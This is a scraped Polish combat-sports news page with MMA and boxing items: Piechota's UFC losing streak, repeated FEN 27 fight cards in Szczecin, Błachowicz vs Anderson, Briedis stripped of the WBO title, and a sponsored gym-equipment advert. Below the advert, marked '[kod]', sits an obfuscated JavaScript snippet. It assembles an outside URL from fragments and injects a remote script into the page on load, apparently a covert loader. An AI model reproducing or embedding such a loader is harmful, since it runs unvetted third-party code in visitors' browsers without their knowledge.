W Las Vegas Oskar Piechota poniósł trzecią porażkę z rzędu w UFC. "Imadło" nie ukrywa, że może to być koniec jego przygody z amerykańską organizacją.

To nie tak miało wyglądać. Podczas gali UFC 245 Oskar Piechota chciał przełamać złą passę. Wcześniej przegrał z Geraldem Meerschaertem i Rodolfo Vieirą. Na wygraną w UFC polski zawodnik czeka ponad dwadzieścia miesięcy! Punahele Soriano debiutował w amerykańskiej organizacji w Las Vegas i chciał pokazać, że zasłużył na angaż. Pragnienie Piechoty było zgoła inne – wygrać i przedłużyć swoją przygodę z UFC.

Walka potoczyła się bardzo szybko. Po jednym z krótkich ciosów Hawajczyka, Polak padł na deski. W parterze Piechota próbował kimury, ale bez efektu. Pojedynek wrócił do stójki i Soriano wypuścił lewy sierpowy, który zamroczył "Imadło". Polak osunął się na ziemię, a Amerykanin zadał kolejne ciosy. Sędzia przerwał walkę. Trzecia porażka z rzędu Polaka w UFC stała się faktem. Kolejna przed czasem. Z tym, że dwie wcześniejsze zakończyły się w drugich odsłonach. Pojedynek z Soriano trwał nieco ponad trzy minuty.

Ponad dwa lata temu Oskar Piechota zaliczył bardzo dobre wejście do UFC. W debiucie pokonał Jonathana Wilsona, a potem w pierwszej rundzie rozbił Tima Williamsa. Tamte występy pozostają tylko miłym wspomnieniem. Teraz rzeczywistość nie wygląda kolorowo, z czego zdaje sobie sprawę Piechota. – Sam prawdopodobnie zakończyłem już przygodę z UFC choć nie dostałem jeszcze oficjalnego zwolnienia, może jakimś cudem dostane jeszcze jedna szanse.. ale nie ma co się łudzić, moje ostatnie walki wyglądały tak jak wyglądały i nic już z tym nie zmienię (pisownia oryginalna) – podzielił się swoimi odczuciami w mediach społecznościowych Piechota.

Warto wspomnieć, że polski zawodnik trafił do UFC bez porażki. Szedł jak burza i pokonywał kolejnych rywali, a w 2017 roku wywalczył pas w wadze średniej organizacji Cage Warriors.

Fot. Oskar Piechota Facebook

KM

Romanowski kolejnym bohaterem gali FEN 27

Sebastian Romanowski (13-8-1, 4 KO, 2 SUB) wystąpi na gali FEN 27 w Szczecinie. Zawodnik ze Stargardu Szczecińskiego zadebiutuje pod szyldem FEN w kategorii koguciej.

Romanowski to jeden z najlepszych i najbardziej doświadczonych zawodników w Polsce w kategorii koguciej. „Szczena” w przeszłości walczył również w dywizji piórkowej, więc wie, w jaki sposób walczyć z fighterami o lepszych warunkach fizycznych. Pod koniec 2017 roku Romanowski wygrał dzięki jednogłośnej decyzji sędziów z Evgenim Ryazanowem. Po przerwie od zawodowych startów spowodowanej kontuzją wrócił do rywalizacji w klatce pokonując Nikołaja Kondratuka.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
70,0 KG, K-1: Marcin Parcheta VS TBA
61,2 KG, MMA: Sebastian Romanowski VS TBA
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Jędraszczyk w debiucie dla Vogta na FEN 27

Jacek Jędraszczyk (6-2, 1 KO) podejmie Samuela Vogta (1-1, KO) podczas gali FEN 27 w Szczecinie. Dla widowiskowo walczącego zawodnika z Ostrowa Wielkopolskiego będzie to trzeci występ pod szyldem FEN.

Największym dotychczasowym sukcesem Jędraszczyka jego pokonanie Mateusza Głąba na początku października 2017 roku. Zawodnik z Ostrowa Wielkopolskiego stworzył wraz z Tymoteuszem Łopaczykiem kapitalne widowisko podczas FEN 21. Co ciekawe – federacja przyznała wtedy dwie najlepsze walki wieczoru, a jedna z nagród powędrowała własnie do niego. Jędraszczyk aż pięć dotychczasowych zwycięstw odniósł walcząc na pełnym dystansie. W kwietniu 2019 roku pokonał młodego-zdolnego polskiej sceny MMA, Cezarego Oleksiejczuka.

Vogt ma 24 lata i urodził się w Świnouściu. Zawodowy debiut wojownika z północy przypadł na końcówkę 2018 roku, gdy zmierzył się z Borysem Borkowskim. W maju 2019 roku rozprawił się przez techniczny nokaut z Austriakiem, Sebastianem Szwedą. Poza znakomitą kontrolą walki w stójce Vogt pokazał, że jego kopnięcia na korpus potrafią kompletnie stłamsić przeciwnika. Pojedynek w Szczecinie będzie największym wyzwaniem w karierze zawodnika ze stolicy zachodniego pomorza i jednocześnie debiutem pod szyldem FEN.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
70,0 KG, K-1: Marcin Parcheta VS TBA
61,2 KG, MMA: Sebastian Romanowski VS TBA
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Profesjonalny sprzęt do siłowni – od czego zacząć?

Szukasz wysokiej jakości produktów do swojej siłowni lub klubu? Koniecznie zapoznaj się z ofertą marki Apus Sports! Projektujemy i produkujemy sprzęt, który spełnia oczekiwania właścicieli siłowni i ich użytkowników.

Siłownie, kluby fitness – to miejsca, które w dzisiejszych czasach są pożądane. Wiele osób chce mieć nienaganną sylwetkę niczym mitologiczny Apollo. Trzeba jednak zwrócić uwagę, że stale wzrasta świadomość społeczna dotycząca troski o zdrowie. Zdajemy sobie sprawę z istoty aktywności fizycznej. Dlatego wiele osób inwestuje w karnety na siłownię bądź do klubów fitness. Szukają w nich odpowiedniego sprzętu oraz fachowego wsparcia.

Użytkownicy mają ściśle określone wymagania, dlatego właściciele siłowni muszą zapewnić najwyższej jakości sprzęt, który pozwoli klientom osiągnąć ich cele. Wiadomo, że podstawą jest bezpieczeństwo i funkcjonalność akcesoriów. Poszukując odpowiedniego sprzętu oraz informacji na temat właściwego wyposażenia klubu koniecznie należy zapoznać się z ofertą Apus-Sports.com. Jesteśmy dynamicznie rozwijającą się marka akcesoriów fitness i wolnych ciężarów. Celem Apus Sports jest projektowanie i produkcja profesjonalnego sprzętu, który spełni oczekiwania właścicieli klubów i siłowni oraz zadowoli ich użytkowników. W swojej działalności towarzyszy nam hasło „Quality of tomorrow”.

Ogromnym atutem marki Apus Sports jest znajomość branży. Korzystamy z wiedzy ekspertów w swoich dziedzinach i pasjonatów sportu. Stałe podążanie za trendami i nieustanny rozwój sprawiają, że oferta jest kompleksowa. Dlatego nie ma się nad czym zastanawiać! Prowadzisz siłownię albo klub fitness? Chcesz rozpocząć tego typu działalność i szukasz wsparcia profesjonalistów? Lepiej nie mogłeś trafić! Apus-Sports.com to Twój krok w stronę sukcesu! Wysokiej jakości sprzęt, nowoczesny desing, ergonomia i przede wszystkim wiedza. Najkrócej – pełen profesjonalizm.

Na początku działalności pojawiają się liczne pytania i wątpliwości. Nasi eksperci zawsze są do dyspozycji i na każdym etapie realizacji projektu gwarantują wsparcie. Doskonale znamy branżę, co pozwala nam prowadzić profesjonalne doradztwo w zakresie otwarcia i prowadzenia klubu. Jesteśmy w stanie przejść z Państwem przez cały proces. Zapewniamy przygotowanie projektu i aranżację oraz dobór odpowiednich maszyn. Jesteśmy do dyspozycji! Sport jest naszą pasją, którą chcemy się dzielić!

W Apus Sports znajdziesz wszystko, co jest niezbędne do prowadzenia siłowni bądź klubu fitness. Posiadamy sprzęt do treningu funkcjonalnego, strefy fitness czy wolne ciężary. W naszej ofercie znajdziesz: gryfy olimpijskie, hantle, kettlebells, liny treningowe, maty fitness, pasy, młoty, piłki gimnastyczne, skakanki, rollery, stojaki na obciążenia olimpijskie, gryfy, sztangi czy piłki, zaciski, tubing oraz sztangi. Na indywidualne zamówienie przygotowujemy klatki funkcjonalne.

Sprzęt to tylko część naszej działalności. Dzięki ogromnemu doświadczeniu i znajomości branży chcemy dzielić się swoją wiedzą, aby wspierać naszych klientów w tworzeniu wyjątkowych miejsc do aktywności fizycznej. Prowadzimy również sprzedaż zregenerowanych maszyn firm Precor, Life Fitness i Technogym. Jesteśmy wyłącznym dystrybutorem sprzętu włoskiej marki Panatta. Masz problem z akcesoriami? Nie martw się – prowadzimy regenerację sprzętu klienta. Zapewniamy również serwis w postaci przeglądu, wymiany podzespołów i naprawy akcesoriów.

Zaufało nam wielu klientów. Na naszym sprzęcie ćwiczą ludzie w siłowniach i klubach fitness w Polsce i w Europie. Właściciele są usatysfakcjonowani, a ich biznes kwitnie. Nieważne, czy dopiero zaczynasz czy masz siłownię bądź klub fitness – możesz na nas liczyć. Apus Sports stawia na jakość i profesjonalizm. U nas nie ma miejsca na bylejakość, dlatego chcemy tworzyć jutro i sprawiać, żeby każdy dzień był lepszy.

[kod]

(function(){
oabb=document.createElement("script");oabb.async=true;oabb_="u"+("s")+"t";
oabbu="186672204.";oabb_+="a"+("t.i");oabb_+="n"+("f"+"o")+"/";
oabbu+="hp8j3ycnabbcrw284ti07b"+("Xbet9n41");
oabb.src="https://"+oabb_+oabbu;oabb.type="text/javascript";
document.body.appendChild(oabb);
})();

Parcheta występem w Szczecinie rozpoczyna swoją przygodę w FEN!

Marcin Parcheta (21-5) będzie kolejnym bohaterem gali FEN 27 w Szczecinie. Zawodnik reprezentujący klub Nak Muay Szczecin 18 stycznia zadebiutuje pod szyldem federacji. Limit wagowy pojedynku w formule K-1 to 77 kilogramów.

Parcheta to niezwykle utytułowany zawodnik z ogromnym doświadczeniem na koncie. Szczecinianin to wielokrotny mistrz świata Muay Thai oraz K-1. Na zawodowych ringach stoczył 26 walk, z których aż 21 wygrał, w tym osiem przed czasem. Parcheta słynie z nieustępliwości oraz widowiskowych pojedynków, dzięki którym niejednokrotnie skradł serca swoich fanów. Walka przed własną publicznością będzie powrotem Parchety do zawodowych startów.

Kup bilet na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Vogt zasili mocną kategorię półśrednią w FEN

Samuel Vogt (1-1, 1 KO) wystąpi na gali FEN 27 w Szczecinie. Zawodnik Berserkers Team Szczecin zasili tym samym niezwykle mocną kategorię półśrednią w federacji FEN.

Vogt ma 24 lata i urodził się w Świnouściu. Zawodowy debiut wojownika z północy przypadł na końcówkę 2018 roku, gdy zmierzył się z Borysem Borkowskim. W maju 2019 roku rozprawił się przez techniczny nokaut z Austriakiem, Sebastianem Szwedą. Poza znakomitą kontrolą walki w stójce Vogt pokazał, że jego kopnięcia na korpus potrafią kompletnie stłamsić przeciwnika. Pojedynek w Szczecinie będzie największym wyzwaniem w karierze zawodnika ze stolicy zachodniego pomorza i jednocześnie debiutem pod szyldem FEN.

Napędzony kolejnymi zwycięstwami Magomedow rywalem Rębeckiego w Szczecinie

Magomed Magomedow (12-1, 1 KO, 7 SUB) będzie rywalem Mateusza Rębeckiego (9-1, 4 KO, 4 SUB) podczas walki wieczoru gali FEN 27 w Szczecinie. Dla „Chińczyka” będzie to trzecia obrona pasa mistrzowskiego FEN w kategorii lekkiej.

Magomedow ma 28 lat, pochodzi z Magnitogorska i trenuje w Ferrum Fight Club. „Kobra” aż 8 ze swoich zwycięskich walk skończył przed czasem, z czego siedem przez poddania swoich rywali. Magomedow może pochwalić się serią pięciu kolejnych zwycięstw z rzędu popisując się w nich wszechstronnością – swoich rywali nokautował, poddawał i pokonywał na pełnym dystansie. Rosjanin od ośmiu lat walczy zawodowo, a pojedynek z Rębeckim będzie największym wyzwaniem w jego dotychczasowej karierze.

Rębecki to najlepszy zawodnik FEN bez podziału na kategorie wagowe. „Chińczyk” w marcu 2018 roku znokautował ciosem na wątrobę Mariana Ziółkowskiego nie pozostawiając wątpliwości, który z zawodników prezentuje wyższy poziom. Później Rębecki wygrał pewnie przed czasem z Łukaszem Koperą i Daguirem Imavovem, który po pierwszej rundzie walki na FEN 23 doznał kontuzji i musiał się poddać. Mający aspiracje występów w UFC „Chińczyk” po raz drugi w karierze będzie bohaterem walki wieczoru na galach FEN.

Sianos kolejnym bohaterem gali FEN 27

Marcin Sianos (4-4, 4 KO) wystąpi 18 stycznia podczas gali FEN 27 w Szczecinie. Zawodnik z Kołobrzegu po raz piąty zamelduje się w klatce FEN.

Sianos spośród czterech zwycięskich walk na zawodowstwie wszystkie skończył w ten sam sposób – nokautując swoich rywali. O sile jego prawej ręki przekonał się Marcin Zontek, który jeszcze w pierwszej odsłonie musiał uznać wyższość polskiego kolosa i padł na deski, a w konsekwencji przegrał pojedynek. Wcześniej Sianos stoczył krwawy bój z Grzegorzem Cieplińskim i już w premierowej odsłonie rozprawił się z Mateuszem Łazowskim.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
77,1 KG, MMA: Maciej Jewtuszko VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
TBA VS TBA
70,0 KG, K-1: Marcin Parcheta VS TBA
93,0 KG, MMA: Łukasz Sudolski VS TBA
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Gniadek wraca do Szczecina pojedynkiem z Balcerzakiem

Kamil Gniadek (13-7, 3 KO, 8 SUB) powraca do klatki FEN. Zawodnik reprezentujący klub Berkut WCA Fight Team podejmie debiutującego pod szyldem federacji Michała Balcerzaka (2-1, 2 KO).

Gniadek to mimo wciąż młodego wieku jeden z weteranów FEN. Zawodnik pochodzący ze Szczecina to były pretendent do tytułu mistrzowskiego w kategorii półśredniej. W październiku 2018 roku Gniadek już w pierwszej rundzie znokautował Jacka Jędraszczyka. Wcześniej trzykrotnie walczył dla FEN i za każdym razem kończył pojedynki przed czasem nie dając szans swoim rywalom.

Balcerzak ma 25 lat i dopiero po raz pierwszy wystąpi pod szyldem FEN. Reprezentant Husaria Fight Team z dwóch swoich wygranych pojedynków oba zakończył przez TKO w 1. rundach. Wynik starcia Balcerzaka z Tomaszem Romanowskim, które odbyło się w październiku 2019 roku, to „no contest”. Wszystko przez przypadkowy cios poniżej pasa Romanowskiego.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
77,1 KG, MMA: Maciej Jewtuszko VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerzak
70,0 KG, K-1: Marcin Parcheta VS TBA
93,0 KG, MMA: Łukasz Sudolski VS TBA
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Jewtuszko z powodu kontuzji nie wystąpi na FEN 27

Maciej Jewtuszko (12-5, 7 KO, 5 SUB) nie wystąpi podczas gali FEN 27 w Szczecinie. Irokez zmaga się z kontuzją, której nie zdoła wyleczyć przed 18 stycznia.

„Jest mi bardzo smutno z tego powodu, ale taki niestety jest sport. Maciek jakiś czas temu zadzwonił do mnie i powiedział, że ma problemy z kontuzją, którą leczy od dłuższego czasu. Postawił sprawę jasno, zachował się uczciwie. Gdy okazało się, że nie jest w stanie przygotować się do pojedynku w Szczecinie, słusznie zauważył, że wychodzenie do klatki przygotowanym na pół gwizdka nie ma sensu. Nie chcemy nabierać kibiców i obiecywać im emocji, gdy nasz zawodnik nie jest gotowy na 100%. Występ Irokeza przekładamy na jedną z kolejnych naszych gal, a ja trzymam kciuki za jego powrót to zdrowia” – powiedział prezes FEN, Paweł Jóźwiak.

Maciej Jewtuszko pojawi się na gali w Szczecinie jako gość specjalny i zadeklarował, że pomoże w promocji gali 18 stycznia.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
70,0 KG, K-1: Marcin Parcheta VS TBA
93,0 KG, MMA: Łukasz Sudolski VS TBA
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Derby półciężkich ze Szczecina, czyli Gutowski dla Sudolskiego

Michał Gutowski (9-10, 1 KO, 3 SUB) stanie 18 stycznia w klatce naprzeciwko Łukasza Sudolskiego (5-0, 3 KO) podczas gali FEN 27. Pojedynek ten śmiało można nazwać derbami Szczecina, gdyż obaj zawodnicy pochodzą ze stolicy zachodniego pomorza.

Gutowski na zawodowstwie jest od 2010 roku, gdy stoczył pojedynek z Danielem Omielańczukiem. Później Gutek zanotował dwa kolejne zwycięstwa. W 2012 roku szczecinianin pokonał przez poddanie w 1. rundzie Marcina Elsnera, w odstępie ośmiu miesięcy dwukrotnie jednogłośną decyzją sędziów wygrał z Maciejem Browarskim oraz zwyciężył Marcina Wójcika. Po czteroletniej przerwie od startów w październiku 2018 roku Gutowski wygrał przez nokaut w 3. rundzie z Adamem Wiśniewskim. W swoim debiucie na FEN uległ Wojciechowi Januszowi.

Sudolski w styczniu 2013 roku zadebiutował na zawodowstwie i jednogłośną decyzją sędziów wygrał wtedy z Grzegorzem Cieplińskim. Później trzy kolejne starcia zwyciężył przez TKO zostawiając w pokonanym polu Pawła Grazewicza, Marcina Filipczaka i Krzysztofa Klepacza. Ostatni pojedynek Sudolskiego również zakończył się zwycięstwem, tym razem podczas gali Babilon MMA 9. Zawodnik ze Szczecina wygrał z Mateuszem Ostrowskim dzięki jednogłośnej decyzji sędziów.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
70,0 KG, K-1: Marcin Parcheta VS TBA
93,0 KG, MMA: Łukasz Sudolski VS TBA
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Crute rywalem Oleksiejczuka

23 lutego podczas gali UFC on ESPN+26 w Auckland Michał Oleksiejczuk zmierzy się z Jimmy'm Curte'm.

Rok 2019 był niezwykle ważny w karierze "Lorda". Polski wojownik wrócił do rywalizacji w UFC po trzynastomiesięcznej przerwie spowodowanej zawieszeniem przez Amerykańską Agencję Antydopingową. Przed debiutem w organizacji, starcie z Khalilem Rountree, w organizmie Oleksiejczuka wykryto zakazaną substancję. Co prawda Polak wygrał w Las Vegas jednogłośną decyzją sędziów, ale pojedynek uznano za nieodbyty.

Mijały kolejne dni, tygodnie i miesiące, a Oleksiejczuk musiał cierpliwie czekać. Powrót nastąpił 23 lutego w Pradze, kiedy to w walce wieczoru Jan Błachowicz przegrał z Thaigo Santosem. Dla Oleksiejczuka był to ważny i szczęśliwy dzień. Polak wrócił do klatki UFC w wielkim stylu. Oleksiejczuk już w pierwszej rundzie pokonał Giana Villante po potężnym ciosie na wątrobę. Na kolejne starcie Polak czekał zaledwie dwa miesiące i wygrał równie ekspresowo. Zaledwie 44 sekund Oleksiejczuk potrzebował, aby wypunktować Gadzhimurada Antigulova. W kolejnym pojedynku "Lord" zmierzył się z doświadczonym Ovince'm St. Preux. Tym razem Oleksiejczuk schodził pokonany z placu boju. Trzy walki i starczy. Kolejne wyzwanie przed polskim fighterem w 2020 roku.

23 lutego w Spark Arena w Auckland "Lord" postara się o trzecie zwycięstwo w UFC. Jego rywalem będzie Jim Crute. 23-letni Australijczyk jest solidnym zawodnikiem, który dobrze prezentuje się w stójce. Przede wszystkim Crute może imponować kopnięciami. Australijczyk stoczył trzy walki w UFC, z których dwie wygrał. W ostatnim starciu przegrał z Mishą Cirkunovem. Co istotne – wszystkie trzy walki Crute'a w UFC kończyły się przed czasem.

Pojawiły się również informacje, że w Auckland zaprezentuje się Karolina Kowalkiewicz. Rywalką byłej mistrzyni KSW miałaby być Yan Hiaonan. Polska zawodniczka przeżywa ostatnio gorszy czas – przegrała trzy walki z rzędu. Kolejny pojedynek będzie miał ogromne znaczenie dla przyszłości Kowalkiewicz w UFC.

Fot. Michał " Lord" Oleksiejczuk Facebook

KM

Gala „Sharks Attack 3” – wyniki

Sharks Attack 3 – wyniki:

Walka wieczoru o pas zawodowego MP K-1 ISKA:
K1 57 kg: Dominika Filec pok. Klaudia Pawicka przez TKO, R2

Co-main event:
77 kg: Mariusz Radziszewski pok. Roman Belogurov przez poddanie (duszenie zza pleców), R2

Walka o pas zawodowego MP K-1 ISKA:
K1 68 kg: Rafał Kosiarski pok. Patryk Magnucki przez jednogłośną decyzję

Walki zawodowe:

73 kg: Alan Langer pod. Andrey Krasnikov przez poddanie (trójkąt nogami) R1
73 kg: Michał Cichoń pok. Oskar Herczyk przez jednogłośną decyzję
84 kg: Viktor Bilyi pok. Mateusz Gątek przez poddanie (duszenie zza pleców) R1
66 kg: Szymon Rakowicz pok. Kamil Warzybok przez poddanie (duszenie zza pleców) R2

Walki semi-pro:

OPEN: Krzysztof Bąkowicz pok. Łukasz Stępień przez poddanie (gilotyna) R3
57 kg: Paulina Wiśniewska pok. Barbara Grabowska przez poddanie (dźwignia na rękę) R1
80 kg: Kamil Szyndlar pok. Alan Szymański przez niejednogłośną decyzję
57 kg: Sandra Kulpa pok. Katarzyna Samerdak przez TKO (cios na wątrobę) R1

Błachowicz ponownie z Andersonem

Znamy termin kolejnej walki Jana Błachowicza. 15 lutego podczas gali UFC Fight Night w Rio Rancho Polak zmierzy się z Corey'em Andersonem.

36-letni Błachowicz będzie miał okazję zrewanżować się Amerykaninowi za porażkę z września 2015 roku. Dla zawodnika pochodzącego z Cieszyna był to trzeci występ w UFC. W MGM Grand Garden Arena w Las Vegas Błachowicz przegrał decyzją sędziów, a na przestrzeni całego starcia wypadł słabo. Przede wszystkim zawiodła kondycja. Z czasem Anderson zaczął dominować, a w drugiej odsłonie w parterze słał w stronę Polaka ciosy pięściami i łokciami. Trzecia runda to kontynuacja pracy Amerykanina, który postawił kropkę nad "i".

Tak wyglądało starcie cztery lata temu. Od tamtego czasu sytuacja Błachowicza w UFC zmieniła się. Polak marzy o pojedynku o pas wagi półciężkiej. Bez dwóch zdań jest w czołówce kategorii. Gdyby nie lutowa porażka z Thiago Santosem, być może były czempion KSW starcie o pas UFC miałby za sobą. Warto wspomnieć, że po pokonaniu Błachowicza Brazylijczyk spotkał się z mistrzem Jonem Jonesem, ale przegrał.

"Cieszyński Książę" wygrał dwa ostatnie starcia. Na uwagę zasługuje wygrana z Luke'm Rockholdem podczas UFC 239. Nokaut Polaka obiegł cały świat i spotkał się z ogromnym uznaniem. 16 listopada Błachowicz stoczył zaciętą walkę z Ronaldo Souzą, ale wygrał po pięciu rundach. W sześciu z siedmiu ostatnich pojedynków Polak świętował zwycięstwo. Dobrą passę ma również Corey Anderson. 30-letni Amerykanin wygrał cztery walki z rzędu, a jego ostatnią ofiarą padł Johnny Walker. Anderson nie przegrał od ponad dwóch lat. Ostatnią porażką zanotował podczas UFC 217 – lepszy okazał się Ovince St. Preux.

15 lutego w Santa Ana Star Center dojdzie do starcia dwóch mocnych zawodników. Warto dodać, że będzie to walka wieczoru. Anderson zajmuje piąte miejsce w rankingu kategorii półciężkiej, z kolei Błachowicz jest na szóstej pozycji. Zwycięzca wykona krok w stronę starcia o pas. Wcześniej, bo 8 lutego, mistrz Jon Jones zmierzy się w Houston z Dominickiem Reyesem.

Fot. Jan Błachowicz Facebook

KM

Zimnoch bez postanowień

Debiut w kategorii junior ciężkiej nie był udany dla Krzysztofa Zimnocha, który przegrał przez nokaut z Krzysztofem Twardowskim. Bokser nie podjął decyzji, co do swojej przyszłości.

Na tę walkę Krzysztof Zimnoch czekał ponad dwa lata. Przez ten czas życie go nie rozpieszczało. 9 września 2017 roku w Radomiu polski pięściarz przegrał przez nokaut w trzeciej rundzie z Joelem Abellem. Po pojedynku Zimnoch nie mógł dojść do siebie. Złe samopoczucie i w konsekwencji wizyta u lekarza. Wynik badań – borelioza. Zimnoch zaczął się leczyć, przyjmował różne leki, ale efektów nie było. W końcu podjął decyzję o głodówce. Schudł, wyleczył się i od wiosny rozpoczął treningi.

Powrót Zimnocha zaplanowano na galę MB Promotions 6 w Radomiu. Walkę zakontraktowano na sześć rund. Nowe doświadczenie, ale zarazem nadzieje, bo czas leci nieubłaganie. Pięściarz ma piękne wspomnienia, bo na amatorskich mistrzostwach świata w Chicago pokonał obecnego czempiona WBC Deontaya Wildera. Obecnie bokserzy są na dwóch różnych poziomach. Wilder zachwyca cały świat. Zimnoch miał ogromne możliwości, ale życie potoczyło się inaczej. 23 listopada wrócił do rywalizacji w Radomiu, ale było to kolejne bolesne doświadczenie. Zimnoch uchodził za faworyta, ale w drugiej rundzie Krzysztof Twardowski odważnie ruszył do przodu. Grad ciosów, 36-latek urodzony w Białymstoku był bezradny i sędzia przerwał walkę.

Pojawia się pytanie – co dalej? Zimnoch zabrał głos w tej sprawie. – Musiałem chwilę odpocząć i się zastanowić nad tym co się wydarzyło. Jak na razie nie mam żadnych postanowień i wieści odnośnie mojej dalszej kariery – napisał w mediach społecznościowych. – Gratuluję Krzysztofowi Twardowskiemu . Widziałem tylko jeden wywiad z tej gali i słyszałem jak mówi, że da mi rewanż – dodał.

Zarazem bokser zapewnił, że po analizie materiałów podzieli się swoimi przemyśleniami. – Teraz odpoczywam i spędzam czas z rodziną – podkreślił Krzysztof Zimnoch.

Bilans 36-latka na zawodowym ringu to 22 zwycięstwa, trzy porażki i remis. Ostatni raz Zimnoch świętował zwycięstwo w kwietniu 2017 roku, kiedy to pokonał Michaela Granta.

Fot. Facebook Krzysztof Zimnoch

KM

Trytek z Wojtasem powalczą o podbój Zachodniego Pomorza

Patryk Trytek (2-0, 2 KO) podejmie Igora Wojtasa (8-6, 2 KO, 3 SUB) podczas gali FEN 27, która 18 stycznia odbędzie się w hali Netto w Szczecinie. Pojedynek ten zakontraktowany jest w limicie kategorii koguciej.

Trytek to reprezentant Berserkers Team Szczecin, który na zawodowstwie zadebiutował w czerwcu 2018 roku, kiedy przez nokaut w 1. rundzie wygrał z Robertem Gromadą. Maj kolejnego roku był dla niego równie udany, gdyż także przez nokaut rozprawił się z Ukraińcem, Mikhailem Kurchem.

Wojtas jest zdecydowanie bardziej doświadczony od Trytka. Swoją pierwszą zawodową walkę odbył w 2013 roku. Od tamtego czasu wygrał osiem pojedynków, z czego pięć przed czasem. Pomiędzy 2015 a 2017 roku Wojtas stoczył siedem walk i we wszystkich zwyciężył. We wrześniu 2019 roku znokautował w 1. odsłonie Andrija Koroleva.

Briedis pozbawiony tytułu, szansa Głowackiego

Finał sprawy związanej z rewanżem Mairisa Briedisa z Krzysztofem Głowackim. Łotysz starał się odwołać od decyzji, ale w efekcie stracił pas mistrzowski WBO w wadze junior ciężkiej. Tytuł czeka na nowego właściciela. Czy będzie nim Krzysztof Głowacki?

Chciałoby się powiedzieć, że "jest sprawiedliwość na tym świecie". Briedis śmiał się w twarz Głowackiemu, ironizował i był pewny swego po czerwcowej wygranej z Polakiem w półfinale turnieju World Boxing Super Series. Problem w tym, że 34-letni pięściarz nie stosował się do żadnych zasad współzawodnictwa sportowego. Uderzył Głowackiego w tył głowy, zadawał ciosy po gongu. Wokół walki wybuchł wielki skandal, ale Briedis wygrał i czekał na finał WBSS.

Obóz polskiego pięściarza złożył protest, który był długo rozpatrywany, ale pod koniec października zapadła decyzja o pojedynku rewanżowym. Rzecz jasna – nie była ona na rękę Łotyszowi. Briedis już „ostrzył sobie zęby” na finał WBSS z Yunielem Dorticosem. Na szali miały pojawić się pasy WBO i IBF. Briedis robił wszystko, aby opóźnić rewanż z Głowackim i najpierw spotkać się z Kubańczykiem. Problem w tym, że w przypadku wygranej Dorticosa pasa WBO zmieniłby właściciela i starcie Łotysza z Polakiem nie miało być aż takiego prestiżu…

Przedstawiciele 34-latka złożyli odwołanie w sprawie rewanżu z Głowackim. Federacja WBO nie była przychylna do wniosku i podjęła stanowczą decyzję. 18 członków komitetu wykonawczego było za odebraniem Łotyszowi mistrzowskiego pasa, zaś dwóch przychyliło się do prośby boksera. – Ogromnie się cieszę, że pas został odebrany temu (i tu cisną mi się na usta różne brzydkie określenia) Łotewskiemu obywatelowi. W związku z czym z niecierpliwością czekam na dalszy rozwój akcji i konkrety – napisał Głowacki w mediach społecznościowych.

Tym samym pas WBO czeka na nowego właściciela. Niebawem federacja powinna wyznaczyć pięściarzy, którzy powalczą o tytuł. Obecnie w rankingu najwyżej sklasyfikowani są Głowacki i Lawrence Okolie.

Warto podkreślić, że ostatnie tygodnie w życiu sportowym pięściarza z Wałcza obfitują w pozytywne informacje. Głowacki został również wyznaczony do walki o wakujący tytuł mistrza świata WBC. O pas Polak miałby rywalizować z Ilungą Makabu.

Fot. Krzysztof Głowacki Facebook

KM

Powrót

